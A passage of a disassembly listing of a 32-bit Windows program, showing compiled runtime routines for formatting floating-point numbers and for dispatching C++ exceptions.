		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4397B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5

loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9

loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916

loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------

loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax

loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax

loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_43B910o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_48A084, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_48A080
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------

loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h

loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4397B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_48A084, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h

loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl

loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_48A084, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_48A088
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_48A080
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------

loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h

loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------

loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax

loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_4397B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_48A084, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------

loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35

loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi

loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h

loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_48A080, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_48A088, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_48A080
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_48A088, ecx
		setl	cl
		mov	byte_48A08C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_48A088, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6

loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al

loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------

loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h

loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_48A084, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_48A084, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_48A084, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_48A084, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------

loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D

loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi

loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552

loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------

loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------

loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h

loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax

loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A

loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552

loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_48A090
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_48A094
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552

loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552

loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax

loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E

loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B

loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C

loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------

loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]

loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------

loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx

loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------

loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_48A098, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90

loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax

loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88

loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------

loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7

loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7

loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7

loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB

loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------

loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax

loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037

loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552

loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0

loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------

loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
